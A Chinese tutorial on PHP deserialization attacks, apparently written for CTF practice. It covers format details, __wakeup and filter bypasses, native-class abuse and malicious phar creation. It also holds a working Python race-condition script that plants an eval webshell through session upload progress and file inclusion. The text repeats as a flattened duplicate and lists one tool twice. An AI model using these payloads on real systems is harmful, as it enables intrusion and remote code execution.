PHP 反序列化基础完全解析
字数 2848 2025-08-22 22:47:39

PHP反序列化完全解析与利用指南

一、PHP序列化基础

1. 序列化格式解析

PHP序列化后的字符串由分号(;)分隔,使用大括号({})表示层级关系。主要数据类型表示如下:

数据类型 提示符 格式示例
字符串 s s:长度:"内容"
已转义字符串 S S:长度:"转义后的内容"
整数 i i:数值
布尔值 b b:1(true)/b:0(false)
空值 N N;
数组 a a:大小:{键序列段;值序列段}
对象 O O:类名长度:"类名":属性数:{...}
引用 R R:引用序号(从1开始)

2. 对象序列化示例

class Kengwang {
    public $name = "kengwang";
    public $age = 18;
    public $sex = true;
    public $route = LearningRoute::Web;
    public $tag = array("dino", "cdut", "chengdu");
    public $girlFriend = null;
    private $pants = "red";
}

enum LearningRoute {
    case Web;
    case Pwn;
    case Misc;
}

$kw = new Kengwang();
print_r(serialize($kw));

序列化结果:

O:8:"Kengwang":7:{
    s:4:"name";s:8:"kengwang";
    s:3:"age";i:18;
    s:3:"sex";b:1;
    s:5:"route";E:17:"LearningRoute:Web";
    s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}
    s:10:"girlFriend";N;
    s:15:"\x00Kengwang\x00pants";s:3:"red";
}

3. 非公有字段命名规则

  • private字段\x00类名\x00字段名
  • protected字段\x00*\x00字段名

二、魔术方法与执行顺序

1. 关键魔术方法

方法名 触发时机
__construct 对象实例化时调用
__destruct 对象销毁时调用
__wakeup 对象反序列化时调用
__sleep 对象序列化时调用
__toString 对象被当作字符串使用时调用
__get 读取不可访问或不存在的属性时调用
__set 给不可访问或不存在的属性赋值时调用
__invoke 对象被当作函数调用时使用
__call 调用不可访问的方法时调用
__isset 对不可访问属性调用isset()或empty()时调用
__unset 对不可访问属性调用unset()时调用
__debugInfo 使用var_dump()或print_r()时调用

2. 魔术方法执行顺序

  • 序列化时__sleep → (变量存在) → __destruct
  • 反序列化时__wakeup/__construct → (变量存在) → __destruct

三、反序列化绕过技巧

1. 非公有字段绕过(PHP7.1+)

  • 方法1:直接修改字段为public
  • 方法2:修改序列化字符串中的字段名为公有格式

2. __wakeup绕过(CVE-2016-7124)

条件

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

方法:修改对象属性数量为大于实际数量

示例:

O:4:"Dino":1:{s:4:"addr";s:3:"209";} 
改为
O:4:"Dino":114514:{s:4:"addr";s:3:"209";}

3. 十六进制绕过字符匹配

使用十六进制表示字符串内容绕过关键字检测:

// 原始
O:4:"Read":1:{s:4:"name";s:4:"flag";}
// 绕过
O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}  // \66\6c\61\67 = "flag"

4. 引用利用

使两个变量始终相等:

class A {
    public $a;
    public $b;
}
$a = new A();
$a->a = &$a->b;
echo serialize($a);
// 输出:O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}

5. 对象反序列化正则绕过

  • 在数字前添加+号:O:+4:"Test":1:{...}
  • 将对象嵌套在数组等类型中

6. 字符逃逸

字符增加情况

class Book {
    public $id = 114514;
    public $name = "Kengwang 的学习笔记"; // 可控
    public $path = "Kengwang 的学习笔记.md";
}

function filter($str) {
    return str_replace("'", "\\'", $str); // 每个'变成\'
}

// 构造恶意字符串
$payload = str_repeat("'", 41) . '";s:4:"path";s:4:"flag";}s:4:"fake";s:34:';

字符减少情况

function filter($str) {
    return str_replace("'", "", $str); // 删除所有'
}

// 构造
$book->name = "Kengwang Note'"; // 提供足够多的'来"吃掉"后续字符
$book->description = ";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";

7. 不完整类利用

$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

8. Fast Destruct(提前GC回收)

方法:

  1. 改变序列化的元素数字个数(往小的写)
  2. 删掉最后一个}

四、原生类利用

1. 常用原生类

// 获取所有有魔术方法的原生类
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array('__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state'))) {
            echo $class . '::' . $method . "\n";
        }
    }
}

2. 重点原生类利用

SoapClient

  • 进行HTTP/HTTPS请求
  • 控制参数:
    • location:请求地址
    • uri:注入换行到SOAPAction头
    • useragent:覆盖Content-Type

Exception/Error类

  • 利用__toString进行XSS或绕过哈希比较

文件操作类

  • ZipArchive:使用OVERWRITE(8)模式删除文件
  • SQLite3:创建本地数据库文件
  • DirectoryIterator/FilesystemIterator:列出文件
  • SplFileObject:读取文件第一行

其他

  • SimpleXMLElement:结合XXE实现文件读取
  • Reflection系列:获取类/函数代码信息

五、Phar反序列化

1. 基本利用

  1. 创建恶意phar文件:
class D1no {}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new D1no();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
  1. 通过文件操作触发:
file_get_contents('phar://test.phar/test');

2. 绕过技巧

  • 使用其他协议包装:
    • compress.bzip://phar://test.phar
    • php://filter/resource=phar://test.phar
  • 对phar文件进行gzip压缩

六、SESSION反序列化漏洞

1. 利用条件

  1. 可进行任意文件包含(或允许包含session存储文件)
  2. 知道session文件存放路径
  3. 有读写session文件的权限

2. 利用方法

方法1:session.upload_progress

import io
import requests
import threading

sessid = 'KW'
data = {"cmd": "system('cat /flag');"}

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post('http://target/test.php', 
                    data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                    files={'file': ('KW.txt', f)},
                    cookies={'PHPSESSID': sessid})

def read(session):
    while True:
        resp = session.post('http://target/test.php?file=session/sess_' + sessid, data=data)
        if 'flag' in resp.text:
            print(resp.text)
            event.clear()
            break

if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

方法2:处理器差异利用

  • php_serialize处理器:存储为序列化数组
  • php处理器:格式为键名|序列化数据

利用

  1. php_serialize存储包含|的payload
  2. php处理器解析时,|会被当作分隔符,触发反序列化

七、工具推荐

  • phpggc:常见反序列化链生成工具
  • PHPGGC:另一个反序列化利用链生成工具

八、防御建议

  1. 避免反序列化用户输入
  2. 使用hash_equals进行哈希比较
  3. 及时更新PHP版本
  4. __wakeup__destruct方法进行安全检查
  5. 限制危险原生类的使用
PHP反序列化完全解析与利用指南 一、PHP序列化基础 1. 序列化格式解析 PHP序列化后的字符串由分号( ; )分隔,使用大括号( {} )表示层级关系。主要数据类型表示如下: | 数据类型 | 提示符 | 格式示例 | |----------------|--------|------------------------------| | 字符串 | s | s:长度:"内容" | | 已转义字符串 | S | S:长度:"转义后的内容" | | 整数 | i | i:数值 | | 布尔值 | b | b:1 (true)/ b:0 (false) | | 空值 | N | N; | | 数组 | a | a:大小:{键序列段;值序列段} | | 对象 | O | O:类名长度:"类名":属性数:{...} | | 引用 | R | R:引用序号 (从1开始) | 2. 对象序列化示例 序列化结果: 3. 非公有字段命名规则 private字段 : \x00类名\x00字段名 protected字段 : \x00*\x00字段名 二、魔术方法与执行顺序 1. 关键魔术方法 | 方法名 | 触发时机 | |----------------|---------------------------------------------| | __construct | 对象实例化时调用 | | __destruct | 对象销毁时调用 | | __wakeup | 对象反序列化时调用 | | __sleep | 对象序列化时调用 | | __toString | 对象被当作字符串使用时调用 | | __get | 读取不可访问或不存在的属性时调用 | | __set | 给不可访问或不存在的属性赋值时调用 | | __invoke | 对象被当作函数调用时使用 | | __call | 调用不可访问的方法时调用 | | __isset | 对不可访问属性调用isset()或empty()时调用 | | __unset | 对不可访问属性调用unset()时调用 | | __debugInfo | 使用var_ dump()或print_ r()时调用 | 2. 魔术方法执行顺序 序列化时 : __sleep → (变量存在) → __destruct 反序列化时 : __wakeup / __construct → (变量存在) → __destruct 三、反序列化绕过技巧 1. 非公有字段绕过(PHP7.1+) 方法1:直接修改字段为public 方法2:修改序列化字符串中的字段名为公有格式 2. __wakeup 绕过(CVE-2016-7124) 条件 : PHP5 < 5.6.25 PHP7 < 7.0.10 方法 :修改对象属性数量为大于实际数量 示例: 3. 十六进制绕过字符匹配 使用十六进制表示字符串内容绕过关键字检测: 4. 引用利用 使两个变量始终相等: 5. 对象反序列化正则绕过 在数字前添加 + 号: O:+4:"Test":1:{...} 将对象嵌套在数组等类型中 6. 字符逃逸 字符增加情况 字符减少情况 7. 不完整类利用 8. Fast Destruct(提前GC回收) 方法: 改变序列化的元素数字个数(往小的写) 删掉最后一个 } 四、原生类利用 1. 常用原生类 2. 重点原生类利用 SoapClient 进行HTTP/HTTPS请求 控制参数: location :请求地址 uri :注入换行到SOAPAction头 useragent :覆盖Content-Type Exception/Error类 利用 __toString 进行XSS或绕过哈希比较 文件操作类 ZipArchive :使用 OVERWRITE (8)模式删除文件 SQLite3 :创建本地数据库文件 DirectoryIterator/FilesystemIterator :列出文件 SplFileObject :读取文件第一行 其他 SimpleXMLElement :结合XXE实现文件读取 Reflection系列 :获取类/函数代码信息 五、Phar反序列化 1. 基本利用 创建恶意phar文件: 通过文件操作触发: 2. 绕过技巧 使用其他协议包装: compress.bzip://phar://test.phar php://filter/resource=phar://test.phar 对phar文件进行gzip压缩 六、SESSION反序列化漏洞 1. 利用条件 可进行任意文件包含(或允许包含session存储文件) 知道session文件存放路径 有读写session文件的权限 2. 利用方法 方法1:session.upload_ progress 方法2:处理器差异利用 php_serialize 处理器:存储为序列化数组 php 处理器:格式为 键名|序列化数据 利用 : 用 php_serialize 存储包含 | 的payload 用 php 处理器解析时, | 会被当作分隔符,触发反序列化 七、工具推荐 phpggc :常见反序列化链生成工具 PHPGGC :另一个反序列化利用链生成工具 八、防御建议 避免反序列化用户输入 使用 hash_equals 进行哈希比较 及时更新PHP版本 对 __wakeup 和 __destruct 方法进行安全检查 限制危险原生类的使用